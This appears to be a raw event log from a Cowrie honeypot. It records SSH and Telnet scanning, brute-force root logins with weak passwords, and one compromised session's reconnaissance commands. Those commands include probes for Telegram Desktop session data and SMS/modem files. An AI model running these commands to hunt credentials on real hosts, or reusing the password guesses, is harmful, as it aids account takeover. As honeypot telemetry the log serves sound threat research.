{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:59.743745Z","src_ip":"167.172.81.52","session":"f740c59007dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:59.754062Z","src_ip":"167.172.81.52","session":"f740c59007dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:00.133214Z","src_ip":"89.108.118.91","session":"bb54a6563c09","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:00.314646Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:00.773171Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:00.776819Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:00.780612Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:00.984714Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:01.432347Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:01.436240Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:01.642293Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:02.092515Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:02.096382Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:02.303080Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:02.757327Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:02.761530Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:02.967113Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:03.442558Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:03.446268Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":49704,"dst_ip":"159.203.135.109","dst_port":22,"session":"34f0937ab2a4","protocol":"ssh","message":"New connection: 37.143.61.241:49704 (159.203.135.109:22) [session: 34f0937ab2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:03.454320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:03.459074Z","src_ip":"37.143.61.241","session":"34f0937ab2a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:03.542087Z","src_ip":"37.143.61.241","session":"34f0937ab2a4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:03.650646Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345.","message":"login attempt [root/Abc12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:03.865174Z","src_ip":"37.143.61.241","session":"34f0937ab2a4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:04.093317Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:04.096844Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:04.302481Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:04.753614Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:04.757362Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:04.951238Z","src_ip":"37.143.61.241","session":"34f0937ab2a4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:04.963643Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:05.412141Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:05.415120Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:05.717890Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:06.153655Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:06.156484Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:06.358579Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":57008,"dst_ip":"159.203.135.109","dst_port":22,"session":"2be5860b2811","protocol":"ssh","message":"New connection: 68.183.236.1:57008 (159.203.135.109:22) [session: 2be5860b2811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:07.438324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:07.443734Z","src_ip":"68.183.236.1","session":"2be5860b2811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:07.682631Z","src_ip":"68.183.236.1","session":"2be5860b2811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"captain","message":"login attempt [root/captain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:08.666439Z","src_ip":"68.183.236.1","session":"2be5860b2811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.232.23","src_port":37766,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c771eea12b5","protocol":"ssh","message":"New connection: 71.6.232.23:37766 (159.203.135.109:22) [session: 7c771eea12b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:08.831319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_6.6.1","message":"Remote SSH version: SSH-2.0-OpenSSH_6.6.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:08.837146Z","src_ip":"71.6.232.23","session":"7c771eea12b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5445c358120b523b688fb5f70acd1122","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5445c358120b523b688fb5f70acd1122","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:08.909714Z","src_ip":"71.6.232.23","session":"7c771eea12b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:09.915325Z","src_ip":"68.183.236.1","session":"2be5860b2811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":44172,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a55bafdfb1b","protocol":"ssh","message":"New connection: 72.52.132.30:44172 (159.203.135.109:22) [session: 0a55bafdfb1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:10.405643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:10.413826Z","src_ip":"72.52.132.30","session":"0a55bafdfb1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:10.456482Z","src_ip":"72.52.132.30","session":"0a55bafdfb1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverts3","message":"login attempt [root/serverts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:10.639631Z","src_ip":"72.52.132.30","session":"0a55bafdfb1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:11.681845Z","src_ip":"72.52.132.30","session":"0a55bafdfb1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60074,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd34662b8ecb","protocol":"telnet","message":"New connection: 152.42.224.71:60074 (10.17.0.5:23) [session: fd34662b8ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:12.178318Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60088,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8857701ca12","protocol":"telnet","message":"New connection: 152.42.224.71:60088 (10.17.0.5:23) [session: a8857701ca12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:12.242424Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60104,"dst_ip":"10.17.0.5","dst_port":23,"session":"f93aff187e47","protocol":"telnet","message":"New connection: 152.42.224.71:60104 (10.17.0.5:23) [session: f93aff187e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:13.849750Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:16.832312Z","src_ip":"71.6.232.23","session":"7c771eea12b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.70571827888489,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:19.244190Z","src_ip":"152.42.224.71","session":"1ffc38e1899a","protocol":"telnet"}
